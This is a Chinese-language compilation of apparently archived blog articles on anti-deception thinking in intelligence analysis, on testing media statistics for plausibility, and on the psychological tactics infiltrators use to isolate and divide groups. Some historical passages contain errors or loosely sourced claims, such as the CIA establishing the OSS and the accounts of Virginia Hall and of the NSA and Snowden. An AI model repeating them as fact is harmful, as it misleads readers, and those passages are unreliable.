于是作为分析人员和追求真相的任何人，都应该被建议不断提出假设，不断地进行证伪，直到得出符合实际的结论。

正是这种与我们大多数人所习惯的传统思维相反的方法，才能真的寻求到真相。

—— 提高你的反欺骗能力 ——

「图」

情报界非常注重分析人员的能力，没有高超的能力就没有高质量的情报。

二战中美国和英国的战略情报分析之所以如此成功，正是得益于高素质的分析团队。

大量的专家学者加入了情报机构，成为了分析的主力。他们掌握的科学研究方法和专业素养使分析工作的质量得到了保障。

⚠如今在遍地是欺骗 的互联网上，任何追求免于被操纵之基本权利的人们都应该学习一些反欺骗的技巧。

1、改善思维质量

「图」

传统的思维模式受实证主义和行为主义方法论的影响，使用基本的逻辑方法如演绎法和归纳法为分析工具，强调对观点的证实。

但是这种方法完全忽视了情报分析的艺术性；

- 他们只是在强调客观，忽视了信息的模糊性、欺骗性和不完整性。
- 他们也不太了解思维过程，不了解思维中的认知偏见；
- 他们只是在接受那些与自己的期望一致的资料，而排斥那些与自己的期望不一致的所有东西；
- 他们单纯地认为情报空白是搜集能力不足引起的，却没有意识

到这可能是对手拒止策略引起的；
- 他们认为自己的判断是客观的，却没有意识到在判断过程中充满了各种主观臆断；
- 他们没有受过反欺骗方面的训练，面对对手的狡猾缺乏准备。

为打破传统思维的局限，西方情报界引进了自然科学、哲学和心理学的研究成果，推出了很多主张，其中最重要的就是：批判性思考模式。

这种思维方式建立在认知心理学基础之上，是进行科学研究必备的思维方式。

IYP在多年前曾专注于解读过批判性思考的步骤问题，但是在互联网环境下，不仅有信息轰炸和被剥夺注意力的眼球争夺战，还有，回音壁的隧道生态和算法专制操弄的真相危机，于是批判性思考很可能在此被严重抑制了。这就是为什么回归“慢新闻”的支持率近年来一直上升。在这里看到《引流暴政和生存困惑》。

人们的心智结构不能适应直面的变化，往往会因为我们的“安分”而形成一种与单调的常规相结合的习惯。也就是说，新变旧、复杂变单纯、把一切归结于类似的范式和习惯。

显然，它经常是错误的、视野狭隘的、和容易被骗的。

而要改变这种范式和习惯，💡就需要从技能和情感两方面入手来培养批判性思考。

1990年，美国哲学学会采纳了德尔菲法得出的专家一致意见：批判性思考包括认知技能和情感意向。

Richard Paul 指出，具有批判性思考的人应该具备以下品质，

- 对个人中心主义和社群中心主义有深刻的理解，
- 具有谦逊的精神，不会轻易下结论，
- 勇于挑战既有标准，坚持不设双标，
- 求知欲强，不断探求形形色色的情绪背后存在的观点和林林总总的观点所反映的情绪。

即 追求真相的精神 **truth-seeking**，思想开放 **open-mindedness**，分析性 **analyticity**，系统性 **systematicity,** 自信 **self-confidence**，好奇心 **inquisitiveness**，成熟的判断力 **maturity of judgment**。

这是一个优秀的分析人员必须具备的核心技能。

这样的思维品质对防止被欺骗来说十分重要。

I 批判精神

⚠批判精神是一种面对权威不盲从的精神，是一种对真理和真相执着追求的精神。

基本特征是：认识到通过科学方法获得的知识可能存在错误，任何已有的科学结论都可能被推翻。

任何科学都必然包含错误，需要被不断检验。这恰恰是科学的优点和力量所在；不断的检验就是科学的进步。

这对情报分析来说十分重要。因为情报分析都是从假设开始的；在分析过程中，自身的预期、群体的共识、既往经验，都会对假设的提出产生影响。

因此，这一假设并不是客观产物，而是思维活动的结果。不幸的是，很多时候这样的假设被当成了结论，尤其是那种来自所谓的权威人士的判断，往往被作为理所当然的指标，波及到很多其他分析工作中。

⚠这就是被骗的开端。权威崇拜会害死人的。

苏德战争前，斯大林的阴谋论成为了情报机构情报分析的指南针，所谓的最高指示，任何不符合斯大林判断的情报都会被认为是假的。

所有情报都被情报部长戈里克夫分为了“来源可靠”和“来源可疑”两部分。对那些与斯大林的看法相左的信息，根本不会向上级传送，直接扔掉。然后就是你知道的事情了。

第四次中东战争中也发生过这种情况，以色列南部军区司令部情报处中校递交了一份报告，认为“从一切可以观察到的迹象来看，战争是不可避免的”。然而，这样的判断却被他的上级扣留了，理由是：“与情报部的主流观点不符”。

多荒唐是吧。在集体组织社区和社会中经常会发生这种等级制的压迫，人们被动地被服从于权威，而不敢发表独立见解，哪怕见解非常重要；甚至即便发表了见解也会被压制而起不到作用。这是对批判性思考的最大阻碍。

IYP在社运技巧的系列中提到过，社区组织中坚持“无结构原则”时出现的问题。不存在真正的无结构，问题在于其领导者是否能尊重批判性思考、是否能把握平等交流的宗旨。

社会不彰时社区必须发达，⚠但社区就如家庭，它经常会变成社会的缩影。于是社区领导者必须有意识地避免这种影响，尤其是威权国家的社区，要想获得民主实践，对此更需要强调。

情报界也有鲜明的等级制，但是分析人员必须知道，情报分析的质量和一个人的职务高度没有任何关系；即便是曾经得到了验证的假设，也需要再次进行验证。

主动思考是批判性思维的重要特征。

一个有判断力的思维主体绝不能被动地接受来自环境的刺激，对别人的观点不加思考地照单全收。应该亲自主动去分析，这样才能使主体的觉知本身也成为思考的结果。

批判性思考的一个重点方面是：对自己的质疑。需要询问自己提出的问题中哪些是先入之见，支持自己判断的证据中哪些只是个人推论，等等。

于是，🌤如果团队中每个人都能秉承批判性思考—包括领导者—就不会出现权威依赖的糟糕结果。

II 探寻真相的品质

「图」

探寻真相的品质是批判性思考的基础。只有具备这样的品质才能接受他人的质疑、或者对一些流行的“理所应当”表示怀疑。

情报分析就是对真相的探求。

在分析一个问题时，分析人员必须能做到自我质问：目前的态势有哪些异常？在表面正常的情况下是否隐藏着奇怪的暗流？目前自己掌握的情况真的全面吗？有没有空白？这种空白是如何产生的？是对手的拒止措施的结果吗？我所看到的东西是否是对手希望我看到的？有没有可能发生一些“不可能发生的事”？…… 等等。

⚠这也是防止被宣传操纵的重要步骤。

III 开放的胸怀

「图」

这对于思想者来说非常重要。

这个世界不存在终极真理，任何判断都需要接受质疑，分析者要有平等探讨的雅量。

情报分析中这点格外重要。分析是一种主观的产物，任何判断只是你个人的看法，必须接受他人和物证（即新信息）的验证。

批判性思维要明确认识到认知偏误的存在，同时认识到思维模式在其中所起的作用不可避免，于是为了克服先入之见，就需要从不同视角去批判性地考察自己的结论，不预设前提，不能偏听偏信，不要让自己的思维被单一解释所主宰。

—— 发展创造性思维能力 ——

「图」

创造性思维是对应习常性思维而言的。

创造性思维不能是简单地重复已有的思维过程和思维模式，而是在新的事实面前、在新的思维环境中，运用一种新的思维方法。

它是思维的一种能力品质，其重要标志在于：

- 善于在真正有问题的地方发现问题，并分析从而找出核心所在；
- 善于建立独特的假说；
- 善于安排巧妙的实验或观察来验证、修正或推翻假说；
- 善于在实验和观察中发现相同事物的不同特点、以及不同事物的相同点；
- 善于抓住偶然出现的异常，并追踪研究；
- 善于从新实验中概括出新的理论见解，提出新的假说。

创造性思维是一种联想性思维。它善于由此及彼产生连贯的思索，从一类事物联想到另一类，从一个思路到多个思路，从正向到逆向，引起一系列连锁反应，体现出思维的灵活性、变通性和流畅性。

📢包括OSINT开源情报分析在内的一切分析都是如此，随时要记住，你的对手的主要工作就是避免被你抓到把柄，于是他们已经在千方百计地隐藏和欺骗。于是想要揭露他们，你的思维方式就必须比他们更灵活。

还记得我们在挖网络水军的演示中对头像照片的挖掘吗？对手非常精心地设计了一个真人照片，但是其背景是合成的。这是一个重要线索。

相反，如果你的经验中不存在如此精细的欺骗案例，就很可能会错过这一重要线索。

创造性思维对分析具有重要意义。它可以打破认知的禁锢，避免先入之见，从而*看到*新情况的出现，及时免于欺骗的侵害。

911后不论是国安顾问还是国防部官员，都承认，他们真的从来没想到过飞机撞大楼的袭击方式。

显然，⚠发展严谨的逻辑思维能力的同时，情报人员必须能培养创造性思维，以确定各种非传统的威胁可能性，识别那些打破先例和趋势的突变性事件。

创造性思维只能后天培养；通过心理上的“自我调节”有意识地培养自己的创造性思维。

I 想象力

想象力是人们运用储存在大脑中的信息进行综合分析、推断和设想的思维能力。

在思维过程中，如果没有想象力的参与就会发生困难。

创造性的思维灵感来自直觉和顿悟；往往需要长期的准备和积累，才会有看似短时间的突破。

直觉属于创造性思维的范畴，它可以产生和形成于任何科学、艺术、技术产品的思想和构思。

法国科学家 Poincaré 说过，逻辑是证明的工具，直觉是发现的工具，逻辑可以告诉我们哪一条路可以指引抵达目的地。为此，必须从远处瞭望目标，而瞭望的本领就是直觉。

直觉思维在分析工作中非常重要。情报分析不仅是一门科学，也是一门艺术。你提出的假设越周详，失误的概率就越低。

💡你的社区很可能是由共同理想或共同遭遇为纽带形成的，于是，请认识到你的周围人很可能具有不同的教育背景、不同的思维方式，看问题的视角完全不同，在这种情况下作为领导者/组织者，你应该采取一些机制化的方法，把不同年龄、不同文化背景的成员组成不同的研究小组，各自发展创造性思维，再将意见综合探讨。

头脑风暴不仅是吸引人的游戏，也能做到突破传统思维的约束，得出惊喜的提升。

II 培养发散思维

发散思维可不是走神儿，而是从一个目标出发，沿着各种不同的途径去思考、探求各种问题的思维方式。发散性思维和创造性思维的主要特点。

发散性思维的重要特点是逆向思维 thinking backwards —— 即 与一般思维程序相反的、或从事物的反面思考问题的方法。

人的常规思维都是正向的，公式性的，逆向思维恰恰相反，但绝不是主张人们在思考时背离常规，而是训练一种小概率的思维模式，⚠欺骗往往就利用人们不擅长逆向的特点实施的。

分析人员首先假设未来确实会发生某些意料之外的事，然后将自己置身于未来，回顾过去，解释为什么会发生这样的事？在出现这种状况的半年或一年前发生了什么，才造成今天的可能性？依照这一思路一直推演到真实的当下，就可以获得一个全新的视角，找到一条避免未来噩梦的路径。

—— 发展竞争性分析 ——

「图」

所谓的主流往往是过时的、笨拙的代名词，这可不是狂妄。

⚠正因为大众都有信赖和依附主流观点的倾向，欺骗才得以实施的。还记得我们在操纵式宣传的分析中提到的“前期宣传”概念吗？如果你直接宣传，很可能没人听你的，但是，如果你能够首先让你的主旨变成一种流行亚文化，人们就会自动顺应你的宣传目的。

⚠这就是盲目追求主流带来的危害。有人在利用这种效应，而且多数情况下都不是善意的。

战略性欺骗也是如此。所有欺骗举措都围绕着强化欺骗对象内心预期而展开，因此，如果你能做到挑战在自己头脑中固有的思维模式，力争从多个角度分析情况，就能成为阻止被骗的关键武器。

渗透测试的智慧就来自这里。比如我们介绍过的《自我人肉》思考方式（这里还有自我人肉的工具和详细方法）。

让你变成自己的对手，从对手的角度上对自己发起“攻击”，便很容易找到自己的破绽。

竞争性分析有很多机制化的做法，比如和专业的渗透测试团队合作，魔鬼代言人游戏等等。

I 魔鬼代言人

也就是故意唱反调，这个词来自罗马天主教会。

教会将那些信仰坚定、品德高尚的人选为圣贤，为了确定其确实配得起圣贤的称号，教廷需要对候选人进行调查，主要就是挖掘候选人的任何污点。

执行调查的人员就叫 Devil’s advocate。

后来这个词延伸到现实生活中，指的就是在讨论中故意唱反调的人；提出互相矛盾的假设，鼓励人们进行思想交锋，从而使所有可能的判断都得到平等的对待。最终从中选出正确的那个。

以色列摩萨德是最早使用这种方法的。在第四次中东战争爆发前，军事情报部长泽拉迷信以色列的军事优势，提出了两个信条：埃及在取得空中优势之前不会发动战争；没有埃及的配合叙利亚就没有能力发动战争。

显然由于泽拉的职位之高，他的论断被当成了金科玉律，凡是违背这两个假设的任何消息都被认为“不实”。

南部军区的中尉两次呈交报告表明埃及的演习是为了掩饰它的战争准备，但报告都被情报部长驳回了。

那次失败之后以色列认识到必须设立“魔鬼代言人”，以挑战主导地位

的假设，才能防止情报失误。

美国情报界也采取了这种方法，中情局的培训材料中就介绍了这种方法，即 找一位逻辑思维强大的人来唱反调，以破除思维定势。

II 对抗分析法

AB队的“对抗性分析”是美国的首创，在实践中有多次被使用。

当年很多人认为美国低估了苏联的威胁性，于是1974年芝加哥大学教授 Albert Wohlstetter 提出要对中情局关于苏联的《国家分析评估》进行竞争性分析。

中情局负责“A队”，政府其他机构和学术界组成“B队”，分析结果显示，美国的确是大大低估了苏联的战略力量，误以为在战略武器的使用方面苏联和美国“一样”。

⚠这与组织辩论不同，辩论的双方很可能以自身的“胜利”为目标；而对抗分析则需要持不同意见的双方彼此参照对方的意见进行批判性思考。

III 竞争性思维假设

竞争性思维假设有8个步骤：

- 召集持不同看法的分析人员集体讨论，确定所有可能存在的假设；
- 列出支持和反对每种假设的重要证据和论据；
- 完善上述表格，重新考虑以前的假设，删除无诊断价值的证据和论据；
- 对每种假设的可能性做出临时结论，继续证伪每一种假设，而非证实；
- 分析初步结论对于少数证据的依赖程度；
- 上报结论，阐述所有假设的可能性，而不是可能性最大的假设；
- 找出表明事态正在朝着意想不到方向发展的标志性事件，以供日后观测。

虽然看起来步骤繁琐，但是有四个关键点：**1**、详细周全的假设；**2**、制作矩阵图，核对每种假设与证据的关系；**3**、对假设进行证伪而非证实；**4**、保持证伪工作的连续性。

竞争性假设综合了上述所有方法，更容易发现对手潜在的欺骗行为，是克服先入之见的有力武器。

大量的案例研究、不同的方法探讨，对于了解情报分析过程中的认知陷阱和克服思维误区来说，非常有效。

总之，对欺骗性案例的研究越多，认识就能越深刻；在挖掘真相的行动中，越多的练习就能做到越熟练。实际操作起来并没有上述所描述得那么费时，当你能熟练使用反情报方法时就会觉得它如职业思维那般自如自然。〇

原文

“让数据说话”只是个唬人的幌子：识破谎言（1）- iyouport

战略性欺骗-识别和抵制

【 2019年9月18日存档】我们提倡的应该是*让证据说话*，而不仅仅是“让数据说话”；虽然只差一个字，但它俩是完全不同的两码事。

> 陷我们于困境的并非是自己的无知，而是确信无疑之事其实不然 —— *Mark Twain*

数据新闻、可视化，做出来很漂亮，看起来高大上，于是追求者越来越多。

不仅鱼龙混杂，并且，那些追求者中并非所有人都真的了解数字的合理性。

觉得很惊人吗？不理解也能做？当然能。我曾经与一家专注于可视化数据新闻的团体交流，因为他们当时在尝试向更多人传授这一做法。我问他们如何确保真实准确？他们的回答很简短：“所有数据都来自官方正规渠道”。好吧，这就是问题所在。

数字不一定是“事实”

由于统计数据本身是数字，于是在大多数人看起来它们似乎代表着某种冷冰冰的、铁一般的事实。

然而，别忘了这一点：所有统计数据都是人收集起来的。

统计的对象、方法、结果和文字说明，全部是参与统计工程的人进行筛选和采用的。

因此，数字并非事实，而是对事实的一种诠释。而且这种诠释还会因人而异。

有些时候，数字本身就是错的。这种情况下最便捷的方法就是，检查数字的合理性。

但是要知道，⚠即便通过了合理性测试，数字的收集方法、解读方法、和图示方法，各方面都会产生错误，从而让你对事物本身产生错误的认知。

很多时候，要快速匹配某种表述是否合理，只需对相关数字进行简单思考或粗略计算。可惜却没有多少人愿意花这几分钟时间。

切勿见到数字就轻信，这东西越来越经常地被用来唬人了。

数字把戏

在评估一个表述的合理性时，甚至可以不在意相关数字的准确性。听起来有悖常理吗？但是有道理。

因为，数字的准确性在这点上确实无关宏旨。这种例子遍地都是，根据生活经验就能判断其中大部分。

如果我说，一只玻璃杯从桌子上落下来，碰到了厚厚的地毯而没有碎，这听起来似乎合理；但如果我说，一只玻璃板从40层楼顶上掉下来，落到水泥地面上，依然完好如初，那么肯定不合理对吧。这就是生活经验。

同样，举一个新闻中出现的例子，您可以试试看如何评价以下表述。

比如，1、“在加州解除大麻禁令的35年间，吸食大麻的人数每年都会增加一倍。”

这个合理吗？从哪里入手判断？

先假设35年前加州只有1人吸食大麻。当然这是最保守的数字（1982年美国全境逮捕了50万名吸食大麻者）。

如果按照35年每年翻一倍计算，结果就是从最初的1变为170亿，远远高于全世界总人口数……简单算一下就会发现，实际上21年后吸食大麻的人数已经超过100万：1、2、4、8、16、32、64、128、256、512、1024、2048、4096、8192、16384、32768、65536、131072、262144、524288、1048576。

显然，这一陈述不仅不合理，而且不可能成立。只需要用小学数学知

识和合理的假设就可以推断出准确结果。

再举一例，比如你刚刚当上了电话推销员，老板为了激励你的业绩，于是他宣称，2、“我们最好的推销员每天都能完成1000个销售额。”

这个表述合理吗？

你试试拨打一个电话号码，完成拨号最快也需要5秒钟，对方接线又需要5秒钟。假设每拨通一个电话都能完成一次销售额，当然这是最理想的假设条件。

你完成推销说辞说服对方需要10秒钟，拿到其地址和卡号又需要40秒；这样，每完成一次通话就需要一分钟（5＋5＋10＋40＝60秒）；那么一个小时内你能完成60个销售额。

也就是说，你马不停蹄地工作，连厕所都免了，一天之内最多只能完成480个销售额。1000是纯粹扯蛋的。

以上这些都非常容易看出破绽；但是要知道，经常能遇到的表述中有些难以看出，比如在新闻中，有刺激性，而且似乎符合人们的偏见，其实是假的。

比如2013年“时代周刊”的新闻标题：使用手机的人比使用马桶的人还多

怎么分析呢？你可以考虑一下发展中国家缺乏管道设施的人数，以及发达国家的很多民众不只拥有一部手机这样的观察经验。

不能因为标题看起来合理就不假思索地接受它。

要评估这个表述还要借助其他手段，但无疑已经超出了分析合理性的范畴。

不可轻信媒体

如果不亲自做点研究，评估表述有时会很吃力。

的确，这本应该是媒体的工作，而不是读者的。但是，媒体经常只追求吸睛度、刺激性、引流能力，不客气地说是宣传效应，而不是事实。于是一些错误的数据经常可以趁虚而入，甚至能在舆论界站稳脚跟。

曾经最经典的一个是，一众媒体都在引述对下面这个统计数据进行大肆报道：

美国每年都有150000名女孩和年轻妇女死于厌食症[Steinem, G.(1992). Revolution from Within. New York: Little, Brown and Company.Wolf, N. (1991). The Beauty Myth. New York: William Morrow.]

按照美国疾病控制和防御中心的说法，每年都有各种原因导致的、年龄在15~24岁的女孩和年轻女士死亡数字在8500人；如果再加上每年25 ~ 44岁年龄段的女性死亡人数，总数也不过55000人。[Lies, calculations and constructions: Beyond How to Lie with Statistics. Statistical Science, 20(3), 210–14]

所以仅仅死于厌食症的人数，一年内不可能达到150000人（死亡总人数的三倍）。

在一篇发表于《科学》杂志的文章中，Louis Pollack 和 Hans Weiss 宣称，自通信卫星公司成立以来，“打一次电话的费用降低了12000%”。

这就太扯蛋了。如果某一项费用*降低了100%*，那么它必然为零，不论最初的数字是多少。

如果费用降低了200%，那就是说对方支付售价相等的金额给你。降低12000%纯属无稽之谈。

还有更好笑的，Dan Keppel 的书名《物有所值：在股票、共同基金和每种金融需求方面节省 200% 的资金》（ Get What You Pay For: Save 200% on Stocks, Mutual Funds, Every Financial Need）他拥有工商学硕士的头衔，原本可以处理得好一点的。

当然，在使用百分率时一定要采用同样的基数，只有这样才能保证计算结果的可比性。

比如现有薪水降低50%后，在此基础上再增加50%，绝对不能把你的损失补回来。因为基数变了。

当然这看起来太简单了，基本人人都能算清楚；但是这种把戏经常被使用，说明它依然很能骗人。

如果银行利率由3%浮动到4%，即 增长了一个百分点或33%（1%的

增长以3为基数，所以1/3 约0.33）;而利率从4%下降到3%，相当于降低了一个百分点，但不是33%，而是25%（此时是以4为基数）。看起来简单，但媒体也会在此出错。

纽约时报曾经报道一家位于康涅狄格州的纺织厂由于用工成本高而关停，并且搬到了弗吉尼亚州。

该报道称，康涅狄格州的用工成本“包括工资、补助和失业保险 —— 比弗吉尼亚州高20倍”。这合理吗？

假设其合理，那么你就会想到：应该有大量的公司会从康涅狄格州半岛弗吉尼亚州 —— 而不是只有这一家纺织厂。事实上这不是真的。纽约时报此后不得不做了更正说明。

那么这种错误是怎么出现的呢？很简单，该记者没能理解工厂内部的一份报告。实际上康涅狄格州的用工成本中只有一项，即 失业保险是弗吉尼亚州的20倍。把这项成本和其他成本加在一起时，康涅狄格州的总成本其实只高出1.3倍，而不是20倍。

这只是解释数字时出现的问题，还有些问题是从统计数字的最初就出现了的。

新泽西州正式通过了一项立法，规定已经生育子女的母亲在领取社会福利的同时，不能再领取额外补助。

一些立法人员认为，新泽西州的妇女生孩子只是为了增加个人每月的福利金额。

立法实施后两个月，立法者宣称，由于新生儿下降了16%，“家庭福利封顶”法案大获成功（family cap law）。然后纽约时报报道说：

新法案实施后，该州公布的统计数字表明，领取社会福利的妇女所生的新生儿数量下降了*16%*。相关立法官员开始庆祝立法迅速见效……

这就是主流媒体不走脑子的特点。只是像录音机一样重复官员的说辞。（《媒体，你真的知道什么是事实吗？》）

请注意，他们统计的不是妊娠数量，而是新生儿人数。人类妊娠一般需要约9个月，而该立法实施后的前两个月内新生儿数量下降，不能简单归因于立法本身，极有可能只是出生率的正常周期性波动。

上面例子说明统计数字收集方法存在问题。就如本文开头所讲述的，

媒体不应该仅仅复制照搬官员官方的数字。

有时候自认为覆盖了所有统计对象，但事实上并非如此；有时候一些推理错误也不太容易发现。但读者只要通过简单的练习就能提升判断力。

比如饼状图，是一个经常被误用的统计学基础工具。

饼状图很常见，它可以显示整体中不同部分的分布情况。

饼状图的基本规则是，各百分比的总和必须等于100%。就像一个大圆饼，假如有9个人都想要一等分，你就不能把饼分成8份。

福克斯新闻就搞过这种笑话，就下面这样：

你可以想象这情况是怎么发生的。

由于选民可以选择投票支持一个以上的候选人，所以你就不应该使用饼状图来呈现结果。

人们经常太不小心了，尤其是读者。媒体撒谎也有钱赚的，读者被骗可不会有人给您什么补偿。最重要的是，读者的不小心很容易让操纵式宣传趁虚而入。

中国有很多消息连统计数据都没有，就凭媒体空口白牙的陈述，依旧能被很多人信以为真。这就意味着谁能控制媒体，谁就能控制大众的脑子。这多可怕是吧？如果某人的金钱和权力能大到足够控制媒体的程度，您还期待此人是天使吗？

- ○ 这是一个新系列话题，关于识别真伪的一些注意事项，后面还有更多丰富内容，感谢您的阅读** —— 未完待续 ——

原文

如何把你的对手变成困兽：间谍心理战战术（1）- iyouport

战略性欺骗-识别和抵制

【2019年11月12日存档】本系列是间谍活动的手段综述。不论是应对专业级的情报特工还是渗透活动家的政府线人，这些被常用的手段都值得您了解和警惕

简单说，本系列文章是希望能说明：如何过招、以及您应该在什么情况下怀疑对方的身份和目的。

间谍采取的完全是心理战术，于是一些线索可以帮您识别有问题的渗透者。

本文是第一部分，将讲述一种主动出击的方法。

渗透入目标组织内部的间谍经常采取主动出击的方法，以尽快掌握主动权。

由于环境不同，他们采取的具体措施各不相同，但是目的性都非常明确。⚠这是与普通人的一个重要区别，普通人犯糊涂和性情偏激并不奇怪，但是不会有如此强的目的性。

并且，⚠很多时候线人不会与他们的目标正面接触，而是采取迂回战术，从各个侧面包抄，然后逐一击破；目的使对手处于一种孤立无援的状态，再发起直接进攻，如此便有很大的胜算。

这种手段极为常见，而且能达到出奇制胜的效果。

即便是再强大的对手，一旦被孤立起来，就会变成一只困兽，不再具有反攻能力。

反过来说，如果你发现组织内部出现有步骤有目的的分化操作，当提醒警惕，并尽可能迅速找到背后的操纵者 —— ⚠线人经常会尽可能让事件看起来与自己无关，他们会利用一些无辜者为自己做掩护。

以下将分析这种手段如何操作，尤其是如何防御。

在此之前需要提示一点点概念问题。

人们使用过很多名词来形容从事间谍活动的特定人物，比如线人、线民、变节者、墙头草……等等，但必须说，理论上间谍和线人等概念不完全相同。

间谍指的是专职为你的对手服务的人，他们被高度控制，是不容易被转化的；而线人等其他概念包括没有专职为你的对手服务的人，他们可能以各种原因变成了你的对手 —— 包括组织内部的争议演变为变节。这类人不被控制，是相对容易被转化的。

对于后者，黑社会的山头之争中很常见。竞争对手向警察告密，为的不是帮助警察取证，而是借助警察的力量打击自己的对手。

如果识别为属于这种情况，有些时候警方的间谍也会故意在山头之间挑起纷争，以促进告密者的出现。

1、让对方感觉到被孤立是取胜的法宝

这是每一个接受过相关培训的间谍都懂得的道理。

就如任何一种攻击之所以能成功的关键一样，这种操作首先要做的就是对其目标进行全面的心理分析，并透彻理解，从而准确抓住目标人的心理弱点。

换个角度看，你平时暴露自己的内心越多、在网上说的越多，你的弱点就会越明显。

因为你永远不会知道有谁正在观察和揣摩你，以及他们都是什么目的。

⚠这种心理攻击手段也经常出现在审讯中。

如果被审讯者坚持零口供，审讯人就会采取瓦解士气的心理攻击策略，从侧面进攻，往往会起到意想不到的效果。

- 让对方感觉孤立无援是实施打击的第一步；准确掌握对方的心理弱点，是实施孤立战术的基础。

中国读者应该对心理战非常熟悉了，中国古代的兵书中就强调过这

点："谋事不以力，而以攻心为上"。也就是说，心理战术的效果经常会强过武力，与武力协调使用将事半功倍。

同样道理，间谍对目标人和群体展开的进攻大多运用这种方式。⚠一个人只要从心理上被打败了，纵然是拥有庞大的兵力，也是丝毫没有战斗力的。

于是，反制的方法也来自同一思路。

斯诺登在第一次揭秘后就立刻面临了强大的威胁；美国下达了全球通缉令，许多国家都碍于地缘政治利益而拒绝给予斯诺登政治庇护。

但是斯诺登继续曝光接下来的一系列文件，而不是就此隐藏起来。表面上看起来这似乎是"绝路"？

事实上是一种反制策略。

因为在第一份文件曝光后他已经成为了联邦政府和间谍机构的敌人，无论如何都不会改变这点；于是，在这种情况下有可能保护自己的方法就是加深这种敌对关系，而不是"回头"。

如果斯诺登在第一次曝光后便停止，听从国安局的"公开劝诫"、不再继续所谓的"叛国之举"的话，那么他的安全将受到极大的威胁。

⚠他会因此迅速失去最强大的支持者—— 这就是为什么国安局从不强调惩罚，而是公开"善意/原谅/鼓励"，以诱使目标心理动摇，从而迅速被孤立，之后只能是快速被击破。

美国当局虽然发起了全球通缉，但并没有真正真正部署具体行动；美国间谍组织和情报共享网络是全球一流的，如果他们想做，绝对能做得到。

但是相反，国安局并没有立刻实施追捕和暗杀，而是频频向斯诺登"示好"，他们不止一次公开宣称，只要停止揭露文件他们将撤销通缉令，并恢复护照的合法性；与此同时，国安局还对任何同情斯诺登的组织和国家施加压力，令他们放弃，以孤立斯诺登。

比如从一开始便允诺为斯诺登提供庇护的冰岛和厄瓜多尔政府，被美国利用外交和贸易等手段施加压力，最终导致两国都转变了对斯诺登的态度。

因为他们知道，只要斯诺登答应不再继续曝光，他就会迅速失去那些

一直在帮助他和组织和政府的支持；将斯诺登孤立起来，国安局就能随意处置他了。

在这场较量中，斯诺登作为表面上被动的一方，实际上从一开始就掌握了主动地位。

因为他懂得国安局监视的常用手段。只要他停止曝光，很快就会淡出人们的视野，这样他就会面临更大的危险。

相反，只要他能做到持续曝光，在全球人的瞩目下国安局就不敢对他下手。因为一旦国安局动手，就相当于主动承认了斯诺登对他们指责。

🌤我们在*行动策略*系列中介绍过如何将你的对手置于决策困境，在这里看到，使用的是同一种反制思路。

反制 即 使用同样的策略将针对你的人孤立起来。

国安局间谍全球的内幕曝光后虽然没能终止各种被曝光的监视手段，但是，绝对在地缘政治角度上产生了强大的影响，斯诺登是绝对的赢家。

2、故意在对手组织内部制造矛盾

在孤立对手的同时，间谍往往都会使用各种各样的其他手段，甚至包括约炮，都可以是策略；具体介绍参见《秘密行动》。

二战期间著名的女间谍 Virginia Hall 年轻的时候在一次打猎的过程中伤到了左脚，导致膝盖以下被截肢，但这并没有影响她成为一名出色的间谍。

军情六处招募她为外线间谍，她装上假肢后就被派往了法国里昂。

在战争期间，为了安全起见，大多数间谍在同一个地方停留时间不会超过三个月，但 Virginia Hall 由于出色的间谍技能，在里昂一次停留就是十五个月。

随后她又被派往伦敦，为中央情报局设立的战略服务办公室提供情报。

Virginia Hall 受到全球两大情报机构的青睐，主要因为对其他间谍来说艰难的任务她每一次都能出色完成。

在纳粹统治区工作的时候，当时她的任务除了搜集关于纳粹的情报之外（被动任务），还有一个主动任务，就是从内部瓦解对手，为英美联军实施最后的总攻做好准备。

Hall 接受过专业训练，她知道要成功完成这项任务就必须实施巧妙的心理战术。但是当时的处境导致她根本无法主动出面。

因为当时盖世太保正在四处缉拿她，并且他们还知道她是“一个跛脚女人”。这对于 Virginia Hall 来说非常不利。另一方面，在当时的纳粹军中散布不利信息也几乎不可能。

Virginia Hall 在后来的回忆中写道：要想打击敌军，令其失去战斗力，关键在于瓦解其军心，最好的办法就是在敌人内部制造一种矛盾，从而让敌人的军队完全被孤立起来。

她的方法说起来并不复杂。因为在当时，不仅是德国，所有卷入战争的国家的人民都对战争充满了恐惧和厌恶。战争导致他们流离失所甚至家破人亡。

这对 Virginia Hall 来说是一个绝佳的切入点。她利用有限时间频频潜入当地驻军的城市或村庄，向当地人讲述战争的危害。借助人们的怨气，她迅速获得了热烈的支持。

由于是驻军地区，纳粹军经常要与当地人接触，于是人们在不知不觉中就把这份怨气传递给了那些纳粹士兵。

最初纳粹士兵只是将其视为一种简单的抱怨，并没有真的放在心上，但是听得越来越多之后，这些士兵在回到军营谈起自己的家人时，也开始为家人担忧。

借助情感传递将这份内部分化的情绪迅速传播开了。没多久，一股厌恶的情绪开始在军中蔓延。很多士兵感觉到了战争的冷酷无情，于是纷纷逃离军营，参加了当地的反战组织。

如此，整个军队逐渐成为一支被大多数人民所抛弃的军队。尽管控制权依旧被希特勒牢牢掌握，但实际上他已经被孤立起来了。

因为孤立不仅仅是来自人民大众的反对，还来自希特勒十分信赖的军队内部。

在纳粹投降之前，纳粹军队就几乎失去了战斗力。整个军队的士气已经被瓦解，不论战斗力有多强大都注定会失败。

Virginia Hall 的侧面心理攻势起到了很大的作用。

⚠这里的“敌”“我”并没有确定的善恶之分，默认心理战的实施者为“我”、其目标为“敌”。无论是地缘政治斗争还是国内对反对派群体的渗透，都是同样的道理。

从内部瓦解对手组织的士气这一心理战术是各国间谍的必修课。

如前所述，包括审讯中也一样。审讯一般都是分开单独进行的，审讯者做的就是采取心理攻势，努力孤立各方，让被审讯者认为自己的伙伴已经叛变。

3、从细微之处突破对方的心理防线

如前所述，孤立对手是常用的办法。但是在有些时候，做到这点不会太容易。于是间谍往往会尝试突破对方的心理防线。

从细微之处入手寻找切入点。

还以斯诺登的经历为例。国安局间谍就是利用这种方法挑起斯诺登和阿桑奇之间的矛盾，试图将斯诺登完全孤立起来。尽管没有真正成功，但却在一定程度上离间了斯诺登和维基解密。

这种心理攻势也是间谍培训中的一个重点：哪怕是做事十分谨慎的人，其身上都存在某种不可改变的个性或性格缺陷。即便受过专业培训，有着超强的心理素质，知道该如何更好地保护自己不被发现，但其内心深处的弱点往往很难克服。

这是人性使然，没有十全十美的人。

但是要发现这一弱点并不容易。中情局的反间谍专家曾经说过：“反攻应该从人性角度入手，以便找到心理突破口”。

从国安局对斯诺登的手段中可以看出，间谍们将斯诺登留在美国的家人当成了切入点；与此同时他们还了解斯诺登是一个重感情的人，必定会对其家人十分看重。

